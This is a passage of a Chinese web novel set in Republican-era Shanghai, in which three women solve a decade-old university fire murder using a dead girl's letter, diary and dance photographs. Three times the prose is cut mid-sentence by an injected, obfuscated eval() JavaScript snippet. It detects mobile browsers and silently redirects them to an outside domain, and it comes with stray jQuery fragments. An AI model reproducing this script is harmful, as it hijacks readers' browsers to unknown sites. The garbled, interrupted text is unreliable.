沈丽曼轻抬眼皮,先侧眸看了身边宋芳笙一眼,示意她看好,接着转头接过身后人递来的褐色布袋,从里面抽出一把□□手枪,对准寸头说道,“将我先生包厢位置泄露给断刀盟的那个人就是你吧?”
子弹上膛,宋芳笙下意识出声制止。她答应来百乐门是跳舞的,没看过杀人,也不想看。
“姐姐!”
说话间,寸头服务生已经尿了裤头,哆哆嗦嗦跪在地上,猛地转头朝门口大喊“救命”。
包厢大门被一群人砰地撞开,手上刀棍向他们打来,沈丽曼护着宋芳笙从包厢专设的逃生通道离开,从后门出来的时候,一道刺眼的闪光灯伴随按响快门的声音传至她耳中。沈丽曼回头,看见一个身影自幕帘后一闪而过。
司机早已将车子开到门口,沈丽曼一把将她塞进车里,关上车门。
“你先回去,改日我再找你喝茶。”
车刚开走,两个虹口帮的人从后门跟出来,告诉沈丽曼已经解决,寸头服务生在抓扯之中从三楼跳下去,摔进舞池里丧了命。
她抬手示意两人不要出声,缓步走到幕帘前,一伸手从里面抓出一个男人来。
二十左右的年纪,白衬衣、黑背带,细碎刘海遮住眉毛,只露着一双慌张的小鹿眼。沈丽曼抓着他的衣领,感觉胸口一点肉也没有。
“你是谁?”
7. 亡者信
清晨,顾宅外墙地锦上爬满露珠,有微风阵阵。
丫头小春听见送报人骑自行车经过按响的丁玲声,跑出来拿今天的报纸。
“少奶奶,有你的信。”
她拿着一叠报纸、信件上到二楼,放到宋芳笙梳妆台上。
“谁寄来了的?”
“信封上写林婉茜转宋芳笙女士台启,是少奶奶念书时候的同学吗?”小春翻看着手里的书信、报纸,又将一本小册子抽出来,“还有这个,也不知道是什么。”
“林婉茜……”宋芳笙正对镜描眉,听着名字陌生,正打算拿起来拆开,门口忽传来瓷盘坠地之声。她被吓一跳,蹙眉看去,佣人杨妈面前碎了一地的餐盘、盖碗,连早餐面包、咖啡都洒落在地,将地毯染上褐色。
“林、林婉茜……林大小姐……”
“怎么了杨妈,你认识此人?”宋芳笙起身走过去,欲将信递给杨妈,后者连连后退,看着那封信的眼神跟撞鬼一样。
-
下午两点,两辆黑色小汽车一前一后驶入顾宅大门。叶秋容一身白色圆领衬衣,领口系着丝带,下面搭配大镶大滚荷叶边的百褶洋裙,丫头四妞跟在后面,怀中手提袋塞得满满当当。沈丽曼则仍旧一身黑色鸭皮旗袍,手里有一下没一下地摇着扇子。
“催命似的,叫人家来干什么?我刚到家连饭都没吃上,佣人就说你已经打了好几通电话来了。”
“自然有要紧事找你们商量。”从大门口走到花园的间隙,宋芳笙瞧四妞手提袋里露出绸衫一角,和叶秋容上一次来做客穿的那件一模一样,好奇道,“带旧衣裳带出来做什么,捐掉吗?”
“这是好料子,我才舍不得。”
女人从手提袋里抽出那件象牙黄的花洋纱绸衫,上面还留有崭新的褶,“这是我重新买的一件。你电话催得紧,我把它放在车上忘了,就干脆带出来了。”
沈丽曼烟瘾上来,低头在包里找烟,想了想今日同女孩子们在一处,又作罢,“再买一件一样的做什么,之前那件呢?”
“撕了。”
撕了?
宋芳笙同沈丽曼对视一眼,叶秋容叹一口气道,“是啊,那晚臭老头接我回去,回房不等我脱衣服,直接给我撕了,也不知道哪里学的脾性,撕了我好几件衣裳了……唔……姐姐捂我嘴干什么?”
沈丽曼捂住她的嘴,觉得又苦恼又好笑,“姑奶奶,可小声些吧,仔细让人听见笑话你。”
她抿嘴跟着笑,“也就和你们抱怨两句,旁人面前自然不说。”
三人在花园坐下,白色铁艺圆桌上已经摆好桂顺斋的□□酥、思梦西饼店的黛文郡奶油蛋糕,和东水涠路大饭店每日限量专供二十个的奶油松饼。
花园里秋风和煦,不少新置的鲜花尚未换盆摆放出来,幼嫩花苗被报纸盖住,只有芬芳扑鼻。
“快说罢,这么急叫我们来做什么?”
一封信函放到二人面前,翻过背后,封口处乌红色火漆印章上盖着艳丽的荼蘼花。叶秋容拿起来看了看,又放回去,“林婉茜,哪家的小姐?”
“我这家的。准确地说,这个林婉茜是我这栋宅子上一任主人家的大小姐。”
“她写信给你做什么?不会是舍不得这栋宅子,如今又想把它买回去吧?”
“这都不重要,”宋芳笙表情严肃起来,“重要的是,两年前顾均胜买下这栋宅子,留下的三个佣人之一的杨妈告诉我,这个林婉茜已经死了十年了。”
“什么?”
两人表情终于正经起来,“信上写的什么?”
【宋芳笙女士:
得知你住进家中旧宅,不胜荣幸。这里是我从出生到死亡的住所,虽不及白公馆华丽宽阔,却也是我同父母其乐融融的一方天地。花园里的荼蘼花开得还好吗?门外昏黄的路灯可还会在雷雨天闪烁不停?多年未归,我最想念的还是上海的雨天。我出生在年末的雪夜,最是惧怕炎热,偏天不怜悯,让我死在火里,受尽折磨。如今十年轮回,惟一件事无法释怀:我并非死于意外,而是人为!闻宋女士与沈太太聪慧机敏,洞察人心,段少奶奶更有过目不忘之本领,我斗胆请愿,希望你们能找出十年前害死我的人来。如有叨扰,还请见谅;若能如愿,不胜感激!
——林婉茜叩上】
叶秋容把信接过来看,不禁道,“奇事、奇事,一个死了十年的人,能把信寄到阳间来不算,字里行间竟然还认识我们。这宅子里当真有游魂不成?”
“没有的事。”沈丽曼拿起信封翻来覆去地瞧,将目光落在邮票上,“上面没有邮戳,应该不是邮差送来,而是有人故意投到你信箱里来的。你可有眉目?”
宋芳笙搬进这栋宅子不过半月,街坊四邻尚且没见过两次,哪还能认识这栋宅子的旧识?
“乍一看像是要写信吓唬你,实际上却是一封请愿信,冤魂不散,想让咱们帮她抓出凶手呢。”
“她怎么知道你聪慧机敏,还知道我过目不忘?”叶秋容环视四周,总觉得花丛里有一双眼睛,“这位林大小姐不会就在这附近转悠呢吧?”
宋芳笙懒得去想这些。她兴致勃□□身,拿着信纸说道,“不管怎样,我等了好久的机会终于来了。这个叫林婉茜的女人既然说她是被人杀的,那我们就把这个人找出来如何?”
“怎么找,上大街上随便抓着人问,你是十年前杀了林婉茜的人吗?”叶秋容不以为意,手持银勺从奶油蛋糕上剜下一块,放进嘴里。
看着宋芳笙无助的眼神,沈丽曼轻笑一声,“我知道。你把服侍过林婉茜的杨妈叫来,我有事问她。”
不到一个小时,黑色小轿车走了又来,厚厚一摞陈年旧报被捆成一扎,放到三人面前。
“根据杨妈所说,林婉茜十年前念的是华南大学,那场圣诞晚会的火灾发生在女生宿舍。这里是图书馆里所有有关十年前火灾案的报纸,考验秋容妹妹眼力的时候到了。”
喝着咖啡、吃着松饼,三个女人坐在日光充沛的花园里开始翻看十年前的陈年旧报。
根据叶秋容找到的新闻,十年前的冬天,华南大学照例在女生宿舍举行圣诞夜跳舞会。新闻上说那场火约莫从晚上十点开始烧,直到第二日日出才被完全扑灭。参加跳舞会的学生共二十八人,其中二十四人获救,剩余同林婉茜一起死在火场里的三个人,分别叫吴兆堂、李家辉、陈玉容。
林婉茜的父亲是在淮海中路排得上号的生意人,其中一个死者陈玉容更是新新百货创始人的千金,这件事在当时影响极大,警察厅因此日夜排查,很快对外宣布,这是一场因厨房用火不当导致的意外事故,华南大学从此取消圣诞节跳舞会,登报道歉。
林婉茜的父亲不甘女儿就此枉死,四处奔走调查,不得结果后郁郁寡欢,卧床不起,以至于两年前撒手人寰,留下林母一人。她伤心欲绝,于是卖了宅子,带着女儿和先生的遗物回了奉天娘家,这才有了今日顾均胜和宋芳笙两位新主人。
“写信之人既说这场火灾是人为,想必一定是得了什么线索,TA为何不一起寄给你,让你拿着线索去查呢?”
“而且这场火灾一共死了四个人,就算真是人为,万一凶手的目标是另外三人中其中一个,林婉茜的死纯属误伤也未可知。写信之人如何能断定,放火之人要杀的一定就是林婉茜?”
宋芳笙沉思一阵,眼睛骤然一亮道,“有了。”
她唤来小春,把早上随信件一起送来的小册子拿来,沈丽曼翻看两页,有了眉目,“是林婉茜的日记。”
日记上写满女孩丰富多彩的大学生活:同亲友出游、和同学参加戏剧社,还有一些风雅隐晦的情窦初开之言。
看日记的任务交给叶秋容,没一会儿就有了发现。
“她分别在八月份和十月份写到,有男学生像她表明爱意,但都被她拒绝了。”
“可有写男学生的名字?”
“八月份那个叫陈深,十月份的是吴兆堂。”
宋芳笙心头一跳,“吴兆堂?他也死在那场大火里了,难道是表白不成,放火殉情?”
“自己也跟着死了,未免太激进些。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016200|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
叶秋容继续翻看日记,说出自己的看法,“我倒更怀疑那个叫陈深的男人。林婉茜日记里写,吴兆堂生得斯文、白净,只是家世差了一点。反而陈深是他们学校出名的纨绔子弟,绝不容许任何人拒绝自己。林婉茜拒绝了他送的话剧门票,他就三番四次在校门口堵她,非要她答应不可。就是不知道,当时参加跳舞会的人里头有没有他。若是能看到当年的案件资料便好了。”
两人说罢抬头,都看向宋芳笙。
警察署里,顾均胜正忙着调度人手,一阵电话铃声响起,手下周峰从他办公室走出来,说是署长太太打来的。
“何事?”这是她头一次打电话到警署来。
“嗯……是我……”
“我知道。”
“我能求你一件事吗?”宋芳笙在电话里说了收到死人信件之事,想让顾均胜调出当年火灾的资料一看。
“不行。”
她料到他会拒绝。
“就只我和段三少奶奶、沈太太看看,绝不外传。你若不放心,尽可让信得过的手下带上资料一同过来,监视我们看完立刻又带回去,好不好?”
末了她顿了顿神,学叶秋容哄段澄恩那样,软着嗓子说道,“求求你了,好先生,好不好?”
电话那头沉默了。
宋芳笙瞧着电话旁,沈丽曼和叶秋容捂嘴直笑,羞得满面霞飞。电话听筒举上一阵,男人沉稳中又带着一丝不稳,清了清嗓,在电话那头慢慢道,“……我让周峰送过来。”
等待的间隙,宋芳笙目光扫过书房,又想起一件事。她叫来赵妈问道,“你是从太太身边自小看着顾少爷长大的,他读书时念的可是华南大学?”
赵妈即刻否认,称顾均胜念的是政法学院。
叶秋容立刻反应过来,打了个响指道,“所以,我早前在书房里看到的那本华南大学校友录,不是你们夫妻二人所有物,而是林婉茜的!”
没一会儿,又一辆黑色小汽车开进顾宅。有了顾均胜差人送来的资料,三人对当年的案子又有了进一步的了解:
一,火灾发生之前,华南大学每年都会在圣诞夜举行跳舞会,不限于本校师生参加,大家亦可邀请外校同学加入;
二,起火的地点的确是在厨房,四名死者的尸体被发现的时候,林婉茜和吴兆堂死在厨房里,因厨房大门被人从外面反锁,两人最开始身处堆满杂物的内间,无论如何没法逃脱,被凶猛的大火活活烧死。
根据事后警方对现场的勘查,推测起火时有大量杂物倾倒,将内间仓库门堵住,猜测林婉茜和吴兆堂从察觉到起火,到走出内间就花了大量时间,加上大门被锁,错过最佳逃生期,最终没能获救。另外两名死者则是死于舞会厅里,后背、四肢有多处踩踏伤痕,由此判断是在慌乱之中被人群推倒、踩踏受伤,没能及时逃跑。
警察在录口供的时候,当晚负责做饭的厨子说自己做好餐点就离开厨房到外头休息,火灾发生时,既无法确定厨房里面是否有人,也否认自己锁了大门,判断是有人看厨房起火,想将大门锁上,亡羊补牢所致。
火灾将整个厨房付之一炬,木质壁橱烧了个干净。铜锁锁眼被堵,警方猜测钥匙已经被大火烧熔,没了踪迹。至于林婉茜为什么会和吴兆堂死在一起,所有人都表示不知情;
三,通过案件资料里舞会人员名单和校友录交叉对比,确定火灾当晚陈深的确也在,他当时喝得不省人事,被人发现晕倒在角落里之后,合力将他背出火场,幸免于难。不少人可以证明,陈深从头到尾都在喝酒,没时间放火。
因为死者不止一人,警察查遍当天参加舞会,和四名死者认识的人,无一人有杀人动机,最后只能判定为意外事故。
警署里保存的档案里还有许多舞会当时拍摄的照片。
根据林婉茜日记所写,沈丽曼一眼看出,照片上紧挨林婉茜站着的白净男人就是吴兆堂,加上校友录里记录着林婉茜那一届学生每个人的留言,她沉声道,“这两个人的关系,并不像林婉茜日记里写的如此简单。”
8. 镜头后
白色铁艺圆桌上,放满报纸、信件、照片。
沈丽曼拿起其中两张拍到丽婉茜的照片说道,“你们看这张照片,林婉茜与吴兆堂跳舞的时候,男人的手搂着她的腰,两人都直视着对方,丝毫不曾闪躲。可要说她对谁都是如此,你们再看这张,林婉茜同另一个男同学跳舞,她故意将胳膊夹紧,用手臂将两人隔开,且表情僵硬、笑容勉强,明显是不愿意的。”
“再说校友录,你们看吴兆堂留给林婉茜的留言。”
【清如婉茜雅鉴:
恐同窗有时尽,忆往昔图书馆畔共读、洋槐树下并肩,此情此景、刻骨难忘。吾之愿望尚遥不可及,还需挣前程、得功名,伴卿数载,或有一别。纵天涯路远,望鱼书不绝。纸短情长。
——同砚兆堂谨题】
“如此缠绵语气,哪里像是被拒绝后的模样。难道林婉茜拒绝吴兆堂是假,二人背着所有人私下偷偷来往?”
沈丽曼继续翻看这些照片,问一旁站着的周峰道,“是只把林婉茜出现在镜头前的照片带来了吗?”
周峰不常与女人打交道,身靠廊柱站得笔直,“当夜负责照相的学生获救之后,相机里洗出来所有的照片都在这里。”
宋芳笙瞧她蹙眉,问她这些照片有何问题。女人招呼丫头把桌上茶点悉数撤走,将所有照片铺开。
“人员名单上共有二十八人,这张合照上面却只有二十七个人,我猜测应该是拍照之人没有出现在合照中。再者你数一数,这些照片里,有多少张出现了林婉茜的身影?”
不数还好,清点之下,拢共三十七张照片,其中出现林婉茜身影的竟有二十七张之多。或是沉醉舞池,或是举杯畅饮,一颦一笑,一举一动,皆被镜头捕捉。若不是问过周峰,宋芳笙还以为,拍照的同学是林婉茜专门找来跟拍自己的私人摄像师。
“跳舞会当天负责拍照的学生姓甚名谁?”
周峰俯下身来翻找资料,将合影与名单逐个比对后,指着名单上一个名字说道,“这个,聂辉。”
这个人负责拍照,却几乎将镜头对准林婉茜,只为她一人留下这么多照片。背后原因,只怕难以启齿。沈丽曼觉得这个名字好耳熟,“有关于他更详细的资料吗?”
三人忙着翻看案件资料,叶秋容则一心一意读着林婉茜的日记。足一百余页,整整两百多天的日记,她已经全部看完。
“有人跟踪她!”
此言一出,就连周峰都忍不住看向叶秋容。
女人把日记其中一页摊开,递给宋芳笙说道,“你瞧,她在这篇日记里写道,黄昏独自一人从学校社团出来的时候,察觉身后总传来步调节奏均匀缓慢的脚步声。等她转身看去,这声音又戛然而止,眼前徒留行人、车流交叠穿过。三天后她从学校出来又听见相同的脚步声,她走即响,她止则止。这样的情况在她日记里共出现四次,直到最后一次,她写似乎看到紫藤花架下褐色衬衣的身影一闪而过。她被吓得不轻,自那以后便让自家兄长到学校接送,这样的情况才没有再出现。你们说,这个人会是谁?”
“找到了。”周峰从资料里抽出一页说道,“这个叫聂辉的男学生并非林婉茜同班同学,只是与林婉茜同为戏剧社成员。幸存的学生说,之所以邀请他来是因为他擅照相。”
“戏剧社?”叶秋容捕捉到这个词,翻看日记惊道,“林婉茜所记载四次被跟踪的日记里,第一次是从学校社团排练完走出来,第二次和第三次是布置舞台结束,同社团同学告别后,第四次则是演出圆满结束。这四次统统与戏剧社有关!难道跟踪林婉茜的人就是聂辉不成?!”
沈丽曼细细阅读这四篇日记,隐约能从纸页闻到一股淡淡的花香,“极有可能。若单论戏剧社这一细节,尚不足以证明。但若加上舞会照片,这个叫聂辉的青年对林婉茜一定非常关注。你们看这个。”
她将照片按某种顺序重新摆放。三十几张照片连贯起一个故事,像放映电影一样徐徐展开。
“从林婉茜出现在舞会,到她吃饭、喝酒、与人跳舞,聂辉的镜头基本没有断过。直到这一张,他拍到林婉茜和吴兆堂一前一后走进厨房,再没有任何与厨房相关的照片再出现。这说明他这时候突然不愿意拍了,为什么?”
因为他生气了。他发现林婉茜与吴兆堂私下暗生情愫,恼羞成怒。这会是他放火的原因吗?
新的嫌疑人浮出水面,宋芳笙激动到无以复加,加快速度翻看桌上资料。
根据案件资料记载,当时华南大学戏剧社排练剧目时,林婉茜与吴兆堂分别饰演男女主角,聂辉参演戏份寥寥,更多的是作为摄像参与进来,几乎与林婉茜没有交集。
火灾发生时聂辉从舞厅逃出来,后背和四肢皆有不同程度烧伤。好在伤处都能被衣服覆盖,不影响他日常生活和上台演出。
叶秋容察觉到不对,“如果真是他放的火,按道理来说他应该是反应最快、跑得最早之人,怎么会被烧伤呢?他不知道跑吗?”
“还记得火灾现场的情况吗?内间门被重物堵住,大门还上了锁。如果重物倾倒不是意外,那就只能是聂辉起了杀心。他一定要杀了这两个人,所以不但用重物将仓库门堵住,还锁了大门。或许他就是在做这些事情的时候被烧伤的。”沈丽曼细细回味,终于想起自己在哪里听过这个名字,“我想起来了!聂辉,那个知名的戏剧演员,一个月前我在兰心大剧院看过他的戏,是个带着金丝边眼镜、头发三七分的矮小男人。还记得他谢幕时提起,要带妻子一同到莫斯科演出的计划。可不知现在何处?”
人若去到外国,要再抓回来就难了。
“妻子,他竟结婚了,娶的不知是哪家倒霉小姐?”叶秋容嗤之以鼻。
“礼查饭店老板的四姑娘,叫陈静仪。我记得他说自己在九年前就结了婚,娶的还是他当时从火灾里救出来的一名富家千金。聂辉自称两人因火结缘、伉俪情深,太太非常支持他在戏剧方面继续发展。你可见过?”
女人点头,“上个月在礼查饭店举行的慈善晚会上,我见过她。听旁的太太说,她爱拿自己先生当年英雄救美的事出来说,想不到竟是这么个畜生男人。她还说,自己当时在火灾里得了一个葫芦铜片吊坠,被她当作二人定情信物一直珍藏着,现在想想当真恶心至极。”
周峰在一旁听得热血沸腾,闻言立刻向宋芳笙致意,说要回警署向顾均胜报告此事。宋芳笙干脆让他给顾均胜打了电话,人离开约莫半小时后,回电告知她们聂辉一家的下落。
“三天前聂辉带着妻子,从上海北站乘车到天津,转乘北宁铁路至奉天,如今正在满洲里。他们二人已经买了去莫斯科的车票,只等着今晚七点,乘坐苏联的宽轨列车离开中国。”
“今天?!”宋芳笙激动到站起来,“何以有如此巧合?必定是写信之人早就怀疑到聂辉头上,才会选择在今日写信给我,将逮捕真凶的最后希望寄托在我们身上。真凶必是聂辉无疑。”
“可这一切都是猜测。没有证据,谁也阻止不了他离开。”
沈丽曼打开怀表,上面指针显示时间已经来到下午四点。火车七点从满洲里出发,离开中国前最后一站是哈尔滨,到达时间预计在第二天上午,“也就是说,我们只有一晚上的时间找出他放火杀人的证据。”
要在十个小时内查清一桩发生在十年前的火灾杀人案,哪怕福尔摩斯来了也未必能破。沈丽曼提醒宋芳笙切莫焦躁,先将整件事从头到尾梳理一遍。
十年前圣诞夜跳舞会上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016201|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一直对林婉茜抱有好感的聂辉在为其拍摄照片之时,发现林婉茜与吴兆堂的地下恋情,盛怒之下将二人堵在厨房内间,并锁上大门,放火杀人。
而要证明此事,第一,她们要找到聂辉暗中跟踪林婉茜,或者说暗恋林婉茜的证据;其次,她们要证明当晚将林、吴二人锁在厨房内间并点燃厨房的人就是聂辉。
宋芳笙一点头绪也没有,急得快要哭出来,“这可从何查起?”
时间一点点流逝,三人不免士气低落。叶秋容坐在边上垂头叹气,目光扫到桌上一张照片,照片上林婉茜衣着华丽,脖子上的项链闪着微光。
她好似想起了什么,将照片拿起来嘀咕道,“这项链上的蓝宝石,我怎么好像还在其他地方见过……”
在哪儿见过呢?
目光慢移,她环视四周,看见花园中一佝偻身影眼神骤然亮起,起身走到园丁海叔身边,一把将他腰上挂着的钱袋拿在手里,宋芳笙和沈丽曼就瞧见,钱袋面上镶着的蓝宝石熠熠生辉,与照片中林婉茜项链上的宝石一模一样。
“林婉茜的宝石怎么会在你身上,你同她的死有何干系?”
海叔被当场揪住,急忙否认道,“没有、没有干系,这宝石是林太太给我留作纪念的,我同此事什么干系也没有……”
“撒谎!”叶秋容抓住他的钱袋不放,“这项链直到跳舞会那天都戴在林婉茜脖子上,她死后,这也是一件重要的遗物。林太太如此宝贝她的女儿,怎会将女儿贴身的遗物赠予毫无干系之人?”
老人仍是摆手,不住地摇头。
“你就是写信之人罢。”沈丽曼冷不丁冒出一句,三人目光聚焦到她脸上。
“你、你怎么知道?”
女人把日记递到老人面前,目光深邃道,“我会知道,原因有三:一,这封信件的邮票上没有邮戳,所以信一定不是邮差送来,而是认识林婉茜、关心林婉茜之死的人送来的。这宅子里,认识林婉茜、与林家有故交之人,惟海叔你与杨家夫妻三人;二、写信之人十分了解我们三人,更知道叶秋容妹妹过目不忘,必定是亲眼见过她施展其能力之人才知道。而那日叶秋容背诵《千字文》、将十八盏水晶吊灯还原,你刚好在场;三,我在这纸上闻到一股肥料的气味,方知一定是经常翻阅日记之人手上经常侍弄花卉盆栽,将花肥沾染上去所致,你刚好是园丁。如今再加上这颗蓝宝石,海叔,你再否认下去,耽误的可是抓聂辉的时间。”
种种证据之下,海叔不再抵抗,承认自己就是写信之人。更爆出一个,原本他打算带进坟墓的秘密。
“婉茜是我的女儿。”
多年前,林老爷风流成性,经常流连歌舞伎厅。夫人闺中寂寥,与正值壮年的园丁海叔暗通款曲。一年后林夫人生下女儿,从她抱着孩子,看向海叔那悲伤又隐忍的目光,他便知道,林婉茜是他的女儿。
火灾发生之后,林老爷也接连去世。林夫人万念俱灰,决定卖掉宅子离开这里。海叔无论如何舍不得这里,说什么不肯走,林夫人这才将蓝宝石留给海叔作为纪念,留下他回了奉天。
原本他留在此处只是因为不舍,对女儿的死并无怀疑。直到顾均胜与宋芳笙定下婚事,顾宅由内到外做了洒扫,竟从书房里找出许多林婉茜生前留下的书籍册子来。他翻看女儿日记,发现林婉茜生前遭人跟踪,这才起了疑心。
那日他见识到宋芳笙三人各自的本领,又在报纸上看到沈丽曼带着宋芳笙在百乐门抓人的报道,决定向三人求助。
“我看到日记 ,立马想起十年前,好几次在大门口看到一个穿褐色衬衣的男人,在大门口往里面瞧,还拿着相机往院子里拍照!我记得他的长相……是他、就是这个叫聂辉的男人杀了我的女儿!”
9. 锁真凶
“不行。”
顾均胜声音冷淡,将宋芳笙刚燃起的希望浇灭。她抓着听筒急切道,“如何不行?海叔能证明聂辉就是跟踪林婉茜的人,你们带着人去聂辉及他父母家中搜查旧物,一定能找到相关证据,阻止他逃往国外。”
“亲人之言,不可作为证据。”
“好先生、求你……”
“撒娇无用,”电话那头不为所动,“此关系重大,陈家非一般人家。除非还有更确凿的证据,我不能轻易派人到此二人家中搜查。”
电话即刻挂断,不留一丝情面。
“好冷血的一个人!”
沈丽曼按下宋芳笙发火摔听筒的手,转过头去问海叔道,“海叔,照你所言,日记也是你从书房里得的?”
佝偻的老人点头。
“那你可看仔细了,除开校友录和日记,可还有旁的什么留下?”
“我得了那日记,恐被人发现,拿上东西便离开了。底下还有无其他物件,没有留意。”
入夜,距离聂辉离开中国还有八个小时。宋芳笙带着所有人回到书房,在之前看到的报纸堆里发现一些褪了色的照片,有林婉茜在学校社团活动所拍,也有一些系林婉茜一家人生活旧照。
“还好这些照片被报纸盖住,没有被林婉茜的母亲带走。”
沈丽曼盯住其中一张照片,照片上林老爷坐在前方,林婉茜挽着母亲站在身后,三人就坐在花园拍摄的全家福。她双眼倏忽间瞪大,指着照片右上角道,“你们看,这人是谁?”
宋芳笙抢过照片,发现三人身后花园角落,一张男人的脸赫然出现在铁栅栏外,不过宋芳笙小拇指指甲盖一半大小。加上照片黑白,不仔细看根本发现不了。男人带着金丝眼镜,与社团所拍照片里聂辉的照片相比,一模一样。
照片右下角,被相馆的人用红色墨水写下日期,显示这张照片拍摄于火灾发生前一周。
好可怕,女孩在花园里同父母团聚时,身后站着一个觊觎自己的男人。光是看着照片,她就觉得头皮发麻。
“这个!这个能作为证据吗?”
看着挂钟上指针不停,时间又过去一刻钟,沈丽曼双眼眯缝起来,“不太可能,不过聂辉几次三番暗中跟踪林婉茜,做出偷窥、偷拍的龌龊行为,实在不是君子所为,倒像是某种心理上的疾病。这种病最难医治,且容易上瘾,若他这些行为一直没有被发现,那他改掉的可能几乎为零。即便是现在功成名就,他私下或许依旧是阴沟里的老鼠,用这些东西满足着自己不可告人的癖好……”
她明白沈丽曼的意思,“你是说,他这些年依旧会跟踪、偷窥喜欢的姑娘,用相机偷拍她们?那他家中必定会留下我们想要的证据。”
转念想到顾均胜拒绝帮忙,宋芳笙急得咬牙切齿。
不懂变通的男人,关键时候一点用处也无,让她在姊妹面前丢脸。
“我来吧。”沈丽曼起身,给帮里打去电话,安排两个身手好的手下,最好身上还有撬锁、开保险柜的本事,到聂宅翻遍书房、暗房等处,势必要找到证据。两小时转眼即逝,虹口帮传来好消息,在聂辉家中保险柜中找到近一百张照片,皆是以女性为拍摄对象且角度不雅的偷拍照。
女人喝醉之后敞开的领口、被挤成一团的胸,还有旗袍侧边露出的大腿,每一张照片都充斥着拍照人不正常的观察角度。背景有酒会、舞厅,甚至还有戏院里,从舞台上方向观众席角度偷拍到的照片,照片中的女性从富家太太、小姐,到舞女、歌女,甚至还有穿着校服、结伴而行的的女学生。宋芳笙三人看着这些照片,恨得牙痒痒。
“畜生!一定要把他抓起来枪毙!”
“有了这些照片,就算治不了聂辉杀人的罪行,他这辈子也别想在上海抬得起头!”
可就这样让他苟活于世,实在太便宜他。
苦想后续办法的间隙,佣人敲敲书房门,身后跟着叶秋容的丫头四妞,“少奶奶、太太,段三少爷来了,说是夜深,要接三少奶奶回。”
“我不回~”叶秋容撅着嘴起身,一边抱怨着一边朝楼下走去,佣人也随即转身欲走。
她腰间别有一串钥匙,随佣人走动发出丁零当啷的声音。沈丽曼看到了什么,立刻开口让佣人站住,“把你腰间的钥匙给我瞧瞧。”
-
叶秋容没一会儿回到书房,说段澄恩只允许自己再待一个小时。见宋芳笙和沈丽曼说着什么,赶忙问他们是否有新发现。
“秋容,你还记得周峰带来的案件报告里,关于厨房大门上那把锁是什么情况吗?”
“当然记得。那纸上写着,火灾发生之后,大门不知道被谁从外面上锁,钥匙牙花断在锁眼里无法取出。警察在敲断锁链后打开门,发现了林婉茜和吴兆堂的尸体。怎么了?”
女人表情慵懒,食指徐徐转动钥匙圈,胸有成竹道,“我想,我知道证据在何处了。”
-
深夜,一封电报从上海发往哈尔滨警署。当第一缕日光擦亮天际线,戴金丝边眼镜、穿褐色长衫的矮小男人手提两只皮箱走进火车站,身侧跟着一个粉光脂艳、身穿葡萄紫水钻盘花短旗袍的时装妇人。
火车轰隆隆驶入站台,候在站台上的人便陆续收拾起身,准备上车。
聂辉同送行之人告别,扶着夫人陈静仪的腰正登车,身后骤然响起一个声音将他喝住。转头看来,七八个警察已经围上来,“聂先生,你涉嫌一桩十年前的命案,还请跟我们走一趟。”
十年前?
林婉茜和吴兆堂的面容自男人脑海一闪而过,聂辉慌张起来,躲开他们伸过来的手,“胡说什么?你们有什么证据?我这是要代表国人到外头表演,没空陪你们浪费时间。”
“自然有证据。”为首的警察眼角挂笑,看向陈静仪道,“证据就在您夫人身上。”
-
三日后,一则标题为“十年火灾案凶手落网”的新闻登上报纸,引起轰动。只因这名被捕的凶手聂辉不但是上海名声在外的戏剧演员,更是礼查饭店老板的女婿。警察在聂辉夫人陈静仪从不离身的香包里找到一枚葫芦形
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016202|178452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
状的铜片,与十年前华南大学火灾案中,厨房大门上找到的那把锁,锁眼里断掉的钥匙牙花刚好能合成一把完整的钥匙。十年前幸存的厨子也确定,这就是厨房大门门锁的钥匙无疑。陈静仪这样十指不沾阳春水的阔小姐不识,将葫芦柄的仿洋铜钥匙错当成吊坠,戴在身上九年。
两人结婚九年间,陈静仪已经将这枚葫芦铜片的来历传得人尽皆知,名媛圈所有太太小姐都知道,这枚铜片是十年前火灾,聂辉将她从火场救出来的时候,陈静仪在男人西装口袋里找到的。
加上她这些年一直珍藏在身边,从未清洗过铜片,警方很快在铜片浸泡的水中提取到油渍,确认这是一种叫“马宝山”牌子的橄榄油。而十年前,华南大学女生宿舍里只有那场圣诞夜跳舞会上使用过昂贵的橄榄油,聂辉重新进入警方视野,被警察从去往莫斯科的火车上强行带回上海。
定情信物变锁凶证据。
聂辉被带回上海的第二天,又传来他家中遭窃的消息。一百多张女性不雅照被匿名送到报社,不少人认出这是聂辉在许多宴会上拍摄的照片,只是从未见过这些不雅的角度,想来是聂辉借替人拍照之名,私自抓拍到不雅照洗出来之后,并没有与其他照片一起交给被拍的太太,而是自己私藏起来。
